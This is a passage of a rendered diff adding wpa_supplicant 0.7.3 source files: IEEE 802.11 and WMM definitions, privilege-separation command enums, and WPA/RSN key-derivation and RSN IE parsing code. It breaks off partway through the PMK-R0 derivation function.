#define TX_BEAMFORM_CAP_EXPLICIT_COMPRESSED_STEERING_MATRIX_FEEDBACK_OFFSET 15
|
||||
#define TX_BEAMFORM_CAP_MINIMAL_GROUPING_OFFSET 17
|
||||
#define TX_BEAMFORM_CAP_CSI_NUM_BEAMFORMER_ANT_OFFSET 19
|
||||
#define TX_BEAMFORM_CAP_UNCOMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 21
|
||||
#define TX_BEAMFORM_CAP_COMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 23
|
||||
#define TX_BEAMFORM_CAP_SCI_MAX_OF_ROWS_BEANFORMER_SUPPORTED_OFFSET 25
|
||||
|
||||
|
||||
#define ASEL_CAPABILITY_ASEL_CAPABLE ((u8) BIT(0))
|
||||
#define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(1))
|
||||
#define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(2))
|
||||
#define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_CAP ((u8) BIT(3))
|
||||
#define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_CAP ((u8) BIT(4))
|
||||
#define ASEL_CAPABILITY_RX_AS_CAP ((u8) BIT(5))
|
||||
#define ASEL_CAPABILITY_TX_SOUND_PPDUS_CAP ((u8) BIT(6))
|
||||
|
||||
#define HT_INFO_HT_PARAM_SECONDARY_CHNL_OFF_MASK ((u8) BIT(0) | BIT(1))
|
||||
#define HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE ((u8) BIT(0))
|
||||
#define HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW ((u8) BIT(0) | BIT(1))
|
||||
#define HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH ((u8) BIT(2))
|
||||
#define HT_INFO_HT_PARAM_RIFS_MODE ((u8) BIT(3))
|
||||
#define HT_INFO_HT_PARAM_CTRL_ACCESS_ONLY ((u8) BIT(4))
|
||||
#define HT_INFO_HT_PARAM_SRV_INTERVAL_GRANULARITY ((u8) BIT(5))
|
||||
|
||||
|
||||
#define OP_MODE_PURE 0
|
||||
#define OP_MODE_MAY_BE_LEGACY_STAS 1
|
||||
#define OP_MODE_20MHZ_HT_STA_ASSOCED 2
|
||||
#define OP_MODE_MIXED 3
|
||||
|
||||
#define HT_INFO_OPERATION_MODE_OP_MODE_MASK \
|
||||
((le16) (0x0001 | 0x0002))
|
||||
#define HT_INFO_OPERATION_MODE_OP_MODE_OFFSET 0
|
||||
#define HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT ((u8) BIT(2))
|
||||
#define HT_INFO_OPERATION_MODE_TRANSMIT_BURST_LIMIT ((u8) BIT(3))
|
||||
#define HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT ((u8) BIT(4))
|
||||
|
||||
#define HT_INFO_STBC_PARAM_DUAL_BEACON ((u16) BIT(6))
|
||||
#define HT_INFO_STBC_PARAM_DUAL_STBC_PROTECT ((u16) BIT(7))
|
||||
#define HT_INFO_STBC_PARAM_SECONDARY_BCN ((u16) BIT(8))
|
||||
#define HT_INFO_STBC_PARAM_LSIG_TXOP_PROTECT_ALLOWED ((u16) BIT(9))
|
||||
#define HT_INFO_STBC_PARAM_PCO_ACTIVE ((u16) BIT(10))
|
||||
#define HT_INFO_STBC_PARAM_PCO_PHASE ((u16) BIT(11))
|
||||
|
||||
|
||||
#define OUI_MICROSOFT 0x0050f2 /* Microsoft (also used in Wi-Fi specs)
|
||||
* 00:50:F2 */
|
||||
#define WPA_IE_VENDOR_TYPE 0x0050f201
|
||||
#define WPS_IE_VENDOR_TYPE 0x0050f204
|
||||
|
||||
#define WMM_OUI_TYPE 2
|
||||
#define WMM_OUI_SUBTYPE_INFORMATION_ELEMENT 0
|
||||
#define WMM_OUI_SUBTYPE_PARAMETER_ELEMENT 1
|
||||
#define WMM_OUI_SUBTYPE_TSPEC_ELEMENT 2
|
||||
#define WMM_VERSION 1
|
||||
|
||||
#define WMM_ACTION_CODE_ADDTS_REQ 0
|
||||
#define WMM_ACTION_CODE_ADDTS_RESP 1
|
||||
#define WMM_ACTION_CODE_DELTS 2
|
||||
|
||||
#define WMM_ADDTS_STATUS_ADMISSION_ACCEPTED 0
|
||||
#define WMM_ADDTS_STATUS_INVALID_PARAMETERS 1
|
||||
/* 2 - Reserved */
|
||||
#define WMM_ADDTS_STATUS_REFUSED 3
|
||||
/* 4-255 - Reserved */
|
||||
|
||||
/* WMM TSPEC Direction Field Values */
|
||||
#define WMM_TSPEC_DIRECTION_UPLINK 0
|
||||
#define WMM_TSPEC_DIRECTION_DOWNLINK 1
|
||||
/* 2 - Reserved */
|
||||
#define WMM_TSPEC_DIRECTION_BI_DIRECTIONAL 3
|
||||
|
||||
/*
|
||||
* WMM Information Element (used in (Re)Association Request frames; may also be
|
||||
* used in Beacon frames)
|
||||
*/
|
||||
struct wmm_information_element {
|
||||
/* Element ID: 221 (0xdd); Length: 7 */
|
||||
/* required fields for WMM version 1 */
|
||||
u8 oui[3]; /* 00:50:f2 */
|
||||
u8 oui_type; /* 2 */
|
||||
u8 oui_subtype; /* 0 */
|
||||
u8 version; /* 1 for WMM version 1.0 */
|
||||
u8 qos_info; /* AP/STA specific QoS info */
|
||||
|
||||
} STRUCT_PACKED;
|
||||
|
||||
#define WMM_AC_AIFSN_MASK 0x0f
|
||||
#define WMM_AC_AIFNS_SHIFT 0
|
||||
#define WMM_AC_ACM 0x10
|
||||
#define WMM_AC_ACI_MASK 0x60
|
||||
#define WMM_AC_ACI_SHIFT 5
|
||||
|
||||
#define WMM_AC_ECWMIN_MASK 0x0f
|
||||
#define WMM_AC_ECWMIN_SHIFT 0
|
||||
#define WMM_AC_ECWMAX_MASK 0xf0
|
||||
#define WMM_AC_ECWMAX_SHIFT 4
|
||||
|
||||
struct wmm_ac_parameter {
|
||||
u8 aci_aifsn; /* AIFSN, ACM, ACI */
|
||||
u8 cw; /* ECWmin, ECWmax (CW = 2^ECW - 1) */
|
||||
le16 txop_limit;
|
||||
} STRUCT_PACKED;
|
||||
|
||||
/*
|
||||
* WMM Parameter Element (used in Beacon, Probe Response, and (Re)Association
|
||||
* Response frmaes)
|
||||
*/
|
||||
struct wmm_parameter_element {
|
||||
/* Element ID: 221 (0xdd); Length: 24 */
|
||||
/* required fields for WMM version 1 */
|
||||
u8 oui[3]; /* 00:50:f2 */
|
||||
u8 oui_type; /* 2 */
|
||||
u8 oui_subtype; /* 1 */
|
||||
u8 version; /* 1 for WMM version 1.0 */
|
||||
u8 qos_info; /* AP/STA specif QoS info */
|
||||
u8 reserved; /* 0 */
|
||||
struct wmm_ac_parameter ac[4]; /* AC_BE, AC_BK, AC_VI, AC_VO */
|
||||
|
||||
} STRUCT_PACKED;
|
||||
|
||||
/* WMM TSPEC Element */
|
||||
struct wmm_tspec_element {
|
||||
u8 eid; /* 221 = 0xdd */
|
||||
u8 length; /* 6 + 55 = 61 */
|
||||
u8 oui[3]; /* 00:50:f2 */
|
||||
u8 oui_type; /* 2 */
|
||||
u8 oui_subtype; /* 2 */
|
||||
u8 version; /* 1 */
|
||||
/* WMM TSPEC body (55 octets): */
|
||||
u8 ts_info[3];
|
||||
le16 nominal_msdu_size;
|
||||
le16 maximum_msdu_size;
|
||||
le32 minimum_service_interval;
|
||||
le32 maximum_service_interval;
|
||||
le32 inactivity_interval;
|
||||
le32 suspension_interval;
|
||||
le32 service_start_time;
|
||||
le32 minimum_data_rate;
|
||||
le32 mean_data_rate;
|
||||
le32 peak_data_rate;
|
||||
le32 maximum_burst_size;
|
||||
le32 delay_bound;
|
||||
le32 minimum_phy_rate;
|
||||
le16 surplus_bandwidth_allowance;
|
||||
le16 medium_time;
|
||||
} STRUCT_PACKED;
|
||||
|
||||
|
||||
/* Access Categories / ACI to AC coding */
|
||||
enum {
|
||||
WMM_AC_BE = 0 /* Best Effort */,
|
||||
WMM_AC_BK = 1 /* Background */,
|
||||
WMM_AC_VI = 2 /* Video */,
|
||||
WMM_AC_VO = 3 /* Voice */
|
||||
};
|
||||
|
||||
|
||||
#define OUI_BROADCOM 0x00904c /* Broadcom (Epigram) */
|
||||
|
||||
#define VENDOR_HT_CAPAB_OUI_TYPE 0x33 /* 00-90-4c:0x33 */
|
||||
|
||||
/* cipher suite selectors */
|
||||
#define WLAN_CIPHER_SUITE_USE_GROUP 0x000FAC00
|
||||
#define WLAN_CIPHER_SUITE_WEP40 0x000FAC01
|
||||
#define WLAN_CIPHER_SUITE_TKIP 0x000FAC02
|
||||
/* reserved: 0x000FAC03 */
|
||||
#define WLAN_CIPHER_SUITE_CCMP 0x000FAC04
|
||||
#define WLAN_CIPHER_SUITE_WEP104 0x000FAC05
|
||||
#define WLAN_CIPHER_SUITE_AES_CMAC 0x000FAC06
|
||||
|
||||
/* AKM suite selectors */
|
||||
#define WLAN_AKM_SUITE_8021X 0x000FAC01
|
||||
#define WLAN_AKM_SUITE_PSK 0x000FAC02
|
||||
|
||||
#endif /* IEEE802_11_DEFS_H */
|
|
@ -0,0 +1,75 @@
|
|||
/*
|
||||
* WPA Supplicant - privilege separation commands
|
||||
* Copyright (c) 2007-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef PRIVSEP_COMMANDS_H
|
||||
#define PRIVSEP_COMMANDS_H
|
||||
|
||||
enum privsep_cmd {
|
||||
PRIVSEP_CMD_REGISTER,
|
||||
PRIVSEP_CMD_UNREGISTER,
|
||||
PRIVSEP_CMD_SCAN,
|
||||
PRIVSEP_CMD_GET_SCAN_RESULTS,
|
||||
PRIVSEP_CMD_ASSOCIATE,
|
||||
PRIVSEP_CMD_GET_BSSID,
|
||||
PRIVSEP_CMD_GET_SSID,
|
||||
PRIVSEP_CMD_SET_KEY,
|
||||
PRIVSEP_CMD_GET_CAPA,
|
||||
PRIVSEP_CMD_L2_REGISTER,
|
||||
PRIVSEP_CMD_L2_UNREGISTER,
|
||||
PRIVSEP_CMD_L2_NOTIFY_AUTH_START,
|
||||
PRIVSEP_CMD_L2_SEND,
|
||||
PRIVSEP_CMD_SET_COUNTRY,
|
||||
};
|
||||
|
||||
struct privsep_cmd_associate
|
||||
{
|
||||
u8 bssid[ETH_ALEN];
|
||||
u8 ssid[32];
|
||||
size_t ssid_len;
|
||||
int freq;
|
||||
int pairwise_suite;
|
||||
int group_suite;
|
||||
int key_mgmt_suite;
|
||||
int auth_alg;
|
||||
int mode;
|
||||
size_t wpa_ie_len;
|
||||
/* followed by wpa_ie_len bytes of wpa_ie */
|
||||
};
|
||||
|
||||
struct privsep_cmd_set_key
|
||||
{
|
||||
int alg;
|
||||
u8 addr[ETH_ALEN];
|
||||
int key_idx;
|
||||
int set_tx;
|
||||
u8 seq[8];
|
||||
size_t seq_len;
|
||||
u8 key[32];
|
||||
size_t key_len;
|
||||
};
|
||||
|
||||
enum privsep_event {
|
||||
PRIVSEP_EVENT_SCAN_RESULTS,
|
||||
PRIVSEP_EVENT_ASSOC,
|
||||
PRIVSEP_EVENT_DISASSOC,
|
||||
PRIVSEP_EVENT_ASSOCINFO,
|
||||
PRIVSEP_EVENT_MICHAEL_MIC_FAILURE,
|
||||
PRIVSEP_EVENT_INTERFACE_STATUS,
|
||||
PRIVSEP_EVENT_PMKID_CANDIDATE,
|
||||
PRIVSEP_EVENT_STKSTART,
|
||||
PRIVSEP_EVENT_FT_RESPONSE,
|
||||
PRIVSEP_EVENT_RX_EAPOL,
|
||||
};
|
||||
|
||||
#endif /* PRIVSEP_COMMANDS_H */
|
|
@ -0,0 +1,6 @@
|
|||
#ifndef VERSION_H
|
||||
#define VERSION_H
|
||||
|
||||
#define VERSION_STR "0.7.3"
|
||||
|
||||
#endif /* VERSION_H */
|
|
@ -0,0 +1,787 @@
|
|||
/*
|
||||
* WPA/RSN - Shared functions for supplicant and authenticator
|
||||
* Copyright (c) 2002-2008, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto/md5.h"
|
||||
#include "crypto/sha1.h"
|
||||
#include "crypto/sha256.h"
|
||||
#include "crypto/aes_wrap.h"
|
||||
#include "crypto/crypto.h"
|
||||
#include "ieee802_11_defs.h"
|
||||
#include "defs.h"
|
||||
#include "wpa_common.h"
|
||||
|
||||
|
||||
/**
|
||||
* wpa_eapol_key_mic - Calculate EAPOL-Key MIC
|
||||
* @key: EAPOL-Key Key Confirmation Key (KCK)
|
||||
* @ver: Key descriptor version (WPA_KEY_INFO_TYPE_*)
|
||||
* @buf: Pointer to the beginning of the EAPOL header (version field)
|
||||
* @len: Length of the EAPOL frame (from EAPOL header to the end of the frame)
|
||||
* @mic: Pointer to the buffer to which the EAPOL-Key MIC is written
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* Calculate EAPOL-Key MIC for an EAPOL-Key packet. The EAPOL-Key MIC field has
|
||||
* to be cleared (all zeroes) when calling this function.
|
||||
*
|
||||
* Note: 'IEEE Std 802.11i-2004 - 8.5.2 EAPOL-Key frames' has an error in the
|
||||
* description of the Key MIC calculation. It includes packet data from the
|
||||
* beginning of the EAPOL-Key header, not EAPOL header. This incorrect change
|
||||
* happened during final editing of the standard and the correct behavior is
|
||||
* defined in the last draft (IEEE 802.11i/D10).
|
||||
*/
|
||||
int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len,
|
||||
u8 *mic)
|
||||
{
|
||||
u8 hash[SHA1_MAC_LEN];
|
||||
|
||||
switch (ver) {
|
||||
case WPA_KEY_INFO_TYPE_HMAC_MD5_RC4:
|
||||
return hmac_md5(key, 16, buf, len, mic);
|
||||
case WPA_KEY_INFO_TYPE_HMAC_SHA1_AES:
|
||||
if (hmac_sha1(key, 16, buf, len, hash))
|
||||
return -1;
|
||||
os_memcpy(mic, hash, MD5_MAC_LEN);
|
||||
break;
|
||||
#if defined(CONFIG_IEEE80211R) || defined(CONFIG_IEEE80211W)
|
||||
case WPA_KEY_INFO_TYPE_AES_128_CMAC:
|
||||
return omac1_aes_128(key, buf, len, mic);
|
||||
#endif /* CONFIG_IEEE80211R || CONFIG_IEEE80211W */
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* wpa_pmk_to_ptk - Calculate PTK from PMK, addresses, and nonces
|
||||
* @pmk: Pairwise master key
|
||||
* @pmk_len: Length of PMK
|
||||
* @label: Label to use in derivation
|
||||
* @addr1: AA or SA
|
||||
* @addr2: SA or AA
|
||||
* @nonce1: ANonce or SNonce
|
||||
* @nonce2: SNonce or ANonce
|
||||
* @ptk: Buffer for pairwise transient key
|
||||
* @ptk_len: Length of PTK
|
||||
* @use_sha256: Whether to use SHA256-based KDF
|
||||
*
|
||||
* IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy
|
||||
* PTK = PRF-X(PMK, "Pairwise key expansion",
|
||||
* Min(AA, SA) || Max(AA, SA) ||
|
||||
* Min(ANonce, SNonce) || Max(ANonce, SNonce))
|
||||
*
|
||||
* STK = PRF-X(SMK, "Peer key expansion",
|
||||
* Min(MAC_I, MAC_P) || Max(MAC_I, MAC_P) ||
|
||||
* Min(INonce, PNonce) || Max(INonce, PNonce))
|
||||
*/
|
||||
void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label,
|
||||
const u8 *addr1, const u8 *addr2,
|
||||
const u8 *nonce1, const u8 *nonce2,
|
||||
u8 *ptk, size_t ptk_len, int use_sha256)
|
||||
{
|
||||
u8 data[2 * ETH_ALEN + 2 * WPA_NONCE_LEN];
|
||||
|
||||
if (os_memcmp(addr1, addr2, ETH_ALEN) < 0) {
|
||||
os_memcpy(data, addr1, ETH_ALEN);
|
||||
os_memcpy(data + ETH_ALEN, addr2, ETH_ALEN);
|
||||
} else {
|
||||
os_memcpy(data, addr2, ETH_ALEN);
|
||||
os_memcpy(data + ETH_ALEN, addr1, ETH_ALEN);
|
||||
}
|
||||
|
||||
if (os_memcmp(nonce1, nonce2, WPA_NONCE_LEN) < 0) {
|
||||
os_memcpy(data + 2 * ETH_ALEN, nonce1, WPA_NONCE_LEN);
|
||||
os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce2,
|
||||
WPA_NONCE_LEN);
|
||||
} else {
|
||||
os_memcpy(data + 2 * ETH_ALEN, nonce2, WPA_NONCE_LEN);
|
||||
os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce1,
|
||||
WPA_NONCE_LEN);
|
||||
}
|
||||
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
if (use_sha256)
|
||||
sha256_prf(pmk, pmk_len, label, data, sizeof(data),
|
||||
ptk, ptk_len);
|
||||
else
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
sha1_prf(pmk, pmk_len, label, data, sizeof(data), ptk,
|
||||
ptk_len);
|
||||
|
||||
wpa_printf(MSG_DEBUG, "WPA: PTK derivation - A1=" MACSTR " A2=" MACSTR,
|
||||
MAC2STR(addr1), MAC2STR(addr2));
|
||||
wpa_hexdump_key(MSG_DEBUG, "WPA: PMK", pmk, pmk_len);
|
||||
wpa_hexdump_key(MSG_DEBUG, "WPA: PTK", ptk, ptk_len);
|
||||
}
|
||||
|
||||
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr,
|
||||
u8 transaction_seqnum, const u8 *mdie, size_t mdie_len,
|
||||
const u8 *ftie, size_t ftie_len,
|
||||
const u8 *rsnie, size_t rsnie_len,
|
||||
const u8 *ric, size_t ric_len, u8 *mic)
|
||||
{
|
||||
u8 *buf, *pos;
|
||||
size_t buf_len;
|
||||
|
||||
buf_len = 2 * ETH_ALEN + 1 + mdie_len + ftie_len + rsnie_len + ric_len;
|
||||
buf = os_malloc(buf_len);
|
||||
if (buf == NULL)
|
||||
return -1;
|
||||
|
||||
pos = buf;
|
||||
os_memcpy(pos, sta_addr, ETH_ALEN);
|
||||
pos += ETH_ALEN;
|
||||
os_memcpy(pos, ap_addr, ETH_ALEN);
|
||||
pos += ETH_ALEN;
|
||||
*pos++ = transaction_seqnum;
|
||||
if (rsnie) {
|
||||
os_memcpy(pos, rsnie, rsnie_len);
|
||||
pos += rsnie_len;
|
||||
}
|
||||
if (mdie) {
|
||||
os_memcpy(pos, mdie, mdie_len);
|
||||
pos += mdie_len;
|
||||
}
|
||||
if (ftie) {
|
||||
struct rsn_ftie *_ftie;
|
||||
os_memcpy(pos, ftie, ftie_len);
|
||||
if (ftie_len < 2 + sizeof(*_ftie)) {
|
||||
os_free(buf);
|
||||
return -1;
|
||||
}
|
||||
_ftie = (struct rsn_ftie *) (pos + 2);
|
||||
os_memset(_ftie->mic, 0, sizeof(_ftie->mic));
|
||||
pos += ftie_len;
|
||||
}
|
||||
if (ric) {
|
||||
os_memcpy(pos, ric, ric_len);
|
||||
pos += ric_len;
|
||||
}
|
||||
|
||||
wpa_hexdump(MSG_MSGDUMP, "FT: MIC data", buf, pos - buf);
|
||||
if (omac1_aes_128(kck, buf, pos - buf, mic)) {
|
||||
os_free(buf);
|
||||
return -1;
|
||||
}
|
||||
|
||||
os_free(buf);
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_IEEE80211R */
|
||||
|
||||
|
||||
#ifndef CONFIG_NO_WPA2
|
||||
static int rsn_selector_to_bitfield(const u8 *s)
|
||||
{
|
||||
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_NONE)
|
||||
return WPA_CIPHER_NONE;
|
||||
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP40)
|
||||
return WPA_CIPHER_WEP40;
|
||||
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_TKIP)
|
||||
return WPA_CIPHER_TKIP;
|
||||
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_CCMP)
|
||||
return WPA_CIPHER_CCMP;
|
||||
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP104)
|
||||
return WPA_CIPHER_WEP104;
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_AES_128_CMAC)
|
||||
return WPA_CIPHER_AES_128_CMAC;
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static int rsn_key_mgmt_to_bitfield(const u8 *s)
|
||||
{
|
||||
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_UNSPEC_802_1X)
|
||||
return WPA_KEY_MGMT_IEEE8021X;
|
||||
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X)
|
||||
return WPA_KEY_MGMT_PSK;
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_802_1X)
|
||||
return WPA_KEY_MGMT_FT_IEEE8021X;
|
||||
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_PSK)
|
||||
return WPA_KEY_MGMT_FT_PSK;
|
||||
#endif /* CONFIG_IEEE80211R */
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_802_1X_SHA256)
|
||||
return WPA_KEY_MGMT_IEEE8021X_SHA256;
|
||||
if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_SHA256)
|
||||
return WPA_KEY_MGMT_PSK_SHA256;
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_NO_WPA2 */
|
||||
|
||||
|
||||
/**
|
||||
* wpa_parse_wpa_ie_rsn - Parse RSN IE
|
||||
* @rsn_ie: Buffer containing RSN IE
|
||||
* @rsn_ie_len: RSN IE buffer length (including IE number and length octets)
|
||||
* @data: Pointer to structure that will be filled in with parsed data
|
||||
* Returns: 0 on success, <0 on failure
|
||||
*/
|
||||
int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len,
|
||||
struct wpa_ie_data *data)
|
||||
{
|
||||
#ifndef CONFIG_NO_WPA2
|
||||
const struct rsn_ie_hdr *hdr;
|
||||
const u8 *pos;
|
||||
int left;
|
||||
int i, count;
|
||||
|
||||
os_memset(data, 0, sizeof(*data));
|
||||
data->proto = WPA_PROTO_RSN;
|
||||
data->pairwise_cipher = WPA_CIPHER_CCMP;
|
||||
data->group_cipher = WPA_CIPHER_CCMP;
|
||||
data->key_mgmt = WPA_KEY_MGMT_IEEE8021X;
|
||||
data->capabilities = 0;
|
||||
data->pmkid = NULL;
|
||||
data->num_pmkid = 0;
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
data->mgmt_group_cipher = WPA_CIPHER_AES_128_CMAC;
|
||||
#else /* CONFIG_IEEE80211W */
|
||||
data->mgmt_group_cipher = 0;
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
|
||||
if (rsn_ie_len == 0) {
|
||||
/* No RSN IE - fail silently */
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (rsn_ie_len < sizeof(struct rsn_ie_hdr)) {
|
||||
wpa_printf(MSG_DEBUG, "%s: ie len too short %lu",
|
||||
__func__, (unsigned long) rsn_ie_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
hdr = (const struct rsn_ie_hdr *) rsn_ie;
|
||||
|
||||
if (hdr->elem_id != WLAN_EID_RSN ||
|
||||
hdr->len != rsn_ie_len - 2 ||
|
||||
WPA_GET_LE16(hdr->version) != RSN_VERSION) {
|
||||
wpa_printf(MSG_DEBUG, "%s: malformed ie or unknown version",
|
||||
__func__);
|
||||
return -2;
|
||||
}
|
||||
|
||||
pos = (const u8 *) (hdr + 1);
|
||||
left = rsn_ie_len - sizeof(*hdr);
|
||||
|
||||
if (left >= RSN_SELECTOR_LEN) {
|
||||
data->group_cipher = rsn_selector_to_bitfield(pos);
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
if (data->group_cipher == WPA_CIPHER_AES_128_CMAC) {
|
||||
wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as group "
|
||||
"cipher", __func__);
|
||||
return -1;
|
||||
}
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
pos += RSN_SELECTOR_LEN;
|
||||
left -= RSN_SELECTOR_LEN;
|
||||
} else if (left > 0) {
|
||||
wpa_printf(MSG_DEBUG, "%s: ie length mismatch, %u too much",
|
||||
__func__, left);
|
||||
return -3;
|
||||
}
|
||||
|
||||
if (left >= 2) {
|
||||
data->pairwise_cipher = 0;
|
||||
count = WPA_GET_LE16(pos);
|
||||
pos += 2;
|
||||
left -= 2;
|
||||
if (count == 0 || left < count * RSN_SELECTOR_LEN) {
|
||||
wpa_printf(MSG_DEBUG, "%s: ie count botch (pairwise), "
|
||||
"count %u left %u", __func__, count, left);
|
||||
return -4;
|
||||
}
|
||||
for (i = 0; i < count; i++) {
|
||||
data->pairwise_cipher |= rsn_selector_to_bitfield(pos);
|
||||
pos += RSN_SELECTOR_LEN;
|
||||
left -= RSN_SELECTOR_LEN;
|
||||
}
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
if (data->pairwise_cipher & WPA_CIPHER_AES_128_CMAC) {
|
||||
wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as "
|
||||
"pairwise cipher", __func__);
|
||||
return -1;
|
||||
}
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
} else if (left == 1) {
|
||||
wpa_printf(MSG_DEBUG, "%s: ie too short (for key mgmt)",
|
||||
__func__);
|
||||
return -5;
|
||||
}
|
||||
|
||||
if (left >= 2) {
|
||||
data->key_mgmt = 0;
|
||||
count = WPA_GET_LE16(pos);
|
||||
pos += 2;
|
||||
left -= 2;
|
||||
if (count == 0 || left < count * RSN_SELECTOR_LEN) {
|
||||
wpa_printf(MSG_DEBUG, "%s: ie count botch (key mgmt), "
|
||||
"count %u left %u", __func__, count, left);
|
||||
return -6;
|
||||
}
|
||||
for (i = 0; i < count; i++) {
|
||||
data->key_mgmt |= rsn_key_mgmt_to_bitfield(pos);
|
||||
pos += RSN_SELECTOR_LEN;
|
||||
left -= RSN_SELECTOR_LEN;
|
||||
}
|
||||
} else if (left == 1) {
|
||||
wpa_printf(MSG_DEBUG, "%s: ie too short (for capabilities)",
|
||||
__func__);
|
||||
return -7;
|
||||
}
|
||||
|
||||
if (left >= 2) {
|
||||
data->capabilities = WPA_GET_LE16(pos);
|
||||
pos += 2;
|
||||
left -= 2;
|
||||
}
|
||||
|
||||
if (left >= 2) {
|
||||
data->num_pmkid = WPA_GET_LE16(pos);
|
||||
pos += 2;
|
||||
left -= 2;
|
||||
if (left < (int) data->num_pmkid * PMKID_LEN) {
|
||||
wpa_printf(MSG_DEBUG, "%s: PMKID underflow "
|
||||
"(num_pmkid=%lu left=%d)",
|
||||
__func__, (unsigned long) data->num_pmkid,
|
||||
left);
|
||||
data->num_pmkid = 0;
|
||||
return -9;
|
||||
} else {
|
||||
data->pmkid = pos;
|
||||
pos += data->num_pmkid * PMKID_LEN;
|
||||
left -= data->num_pmkid * PMKID_LEN;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
if (left >= 4) {
|
||||
data->mgmt_group_cipher = rsn_selector_to_bitfield(pos);
|
||||
if (data->mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) {
|
||||
wpa_printf(MSG_DEBUG, "%s: Unsupported management "
|
||||
"group cipher 0x%x", __func__,
|
||||
data->mgmt_group_cipher);
|
||||
return -10;
|
||||
}
|
||||
pos += RSN_SELECTOR_LEN;
|
||||
left -= RSN_SELECTOR_LEN;
|
||||
}
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
|
||||
if (left > 0) {
|
||||
wpa_printf(MSG_DEBUG, "%s: ie has %u trailing bytes - ignored",
|
||||
__func__, left);
|
||||
}
|
||||
|
||||
return 0;
|
||||
#else /* CONFIG_NO_WPA2 */
|
||||
return -1;
|
||||
#endif /* CONFIG_NO_WPA2 */
|
||||
}
|
||||
|
||||
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
|
||||
/**
|
||||
* wpa_derive_pmk_r0 - Derive PMK-R0 and PMKR0Name
|
||||
*
|
||||
* IEEE Std 802.11r-2008 - 8.5.1.5.3
|
||||
*/
|
||||
void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len,
|
||||
const u8 *ssid, size_t ssid_len,
|
||||
const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len,
|
||||
const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name)
|
||||
{
|
||||
u8 buf[1 + WPA_MAX_SSID_LEN + MOBILITY_DOMAIN_ID_LEN + 1 +
|
||||
FT_R0KH_ID_MAX_LEN + ETH_ALEN];
|
||||
